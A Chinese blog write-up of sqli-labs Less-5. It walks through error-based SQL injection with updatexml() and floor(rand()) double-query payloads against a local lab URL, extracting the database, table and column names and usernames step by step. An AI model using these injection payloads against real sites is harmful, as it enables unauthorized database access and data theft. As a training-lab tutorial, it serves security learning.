Sqli-labs--less-5

Sqli-labs–less-5 GET 字符型,单引号,报错注入,双注入

首先 ?id=1’ 报错。让后用双引号,回显正常。再使用单引号+%23,回显正常,基本可以确定是单引号字符型。但是发现使用平常的 union select ,没有任何反应。

所以这道题需要一个新的知识点,刚学sql注入的同学,可能会有一点崩溃。有两种方法,叫做报错注入,其实有三种,但是我只会两种。
一、 报错注入了解一下:(报错的一些例子)
看下面的之前,一定要把上面这个连接看一下,我主要讲一下updatexml(),应为这个比较常用。但其他的也要知道一些,因为有些会把这些常用的给过滤了。
简单的讲,就是这个报错函数,会把你查询的东西显现出来,下面开始实战。
http://localhost/sqli-labs-master/Less-5/?id=1'  and updatexml(1,concat(0x7e,database(),0x7e),1)%23payload:-1’ and updatexml(1,concat(0x7e,database(),0x7e),1)%23 其中updatexml(1,concat(0x7e, ,0x7e),1),是基本格式,0x7e是十六进制的“~”,用来让查询到的东西更显眼。我们只需要在两个0x7e中间加入要查询的语句就可以了。
在这里插入图片描述爆表: 1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
在这里插入图片描述 爆字段:1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),0x7e),1)%23
在这里插入图片描述最后,报数据(激动的心,颤抖的手)1’ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)%23 最后的代码需要变一下,因为updatexml()这个函数最多只能爆32位字符,而我们要爆的数据超过了这个位数,所以我们一个一个的查,使用limit 0,1来实现。

二、联合查询

https://www.2cto.com/article/201303/192718.html 这是一个讲联合查询的网页,同样要先看完这篇文章再来看这道题。同时建议第一次接触sql注入的同学,先用报错注入来写这个题。因为联合查询比较难懂。可以把sql-labs写完一遍后,再来看这个。
这个我就加图了,直接给payload。

1. 爆数据库:

-1’ union select 1,count(*),concat((select database()),floor(rand(0)*2))as a from information_schema.tables group by a%23

2. 爆表名:

-1’ union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by%23

3. 爆字段名

:-1’ union select 1,count(*),concat((select column_name from
information_schema.columns where table_name='users’and table_schema=database() limit 0,1),floor(rand(0)*2))as a from information_schema.columns group by a%23

4. 爆数据:

-1’ union select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))as a from information_schema.columns group by a%23

大功告成!!!

  • 9
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值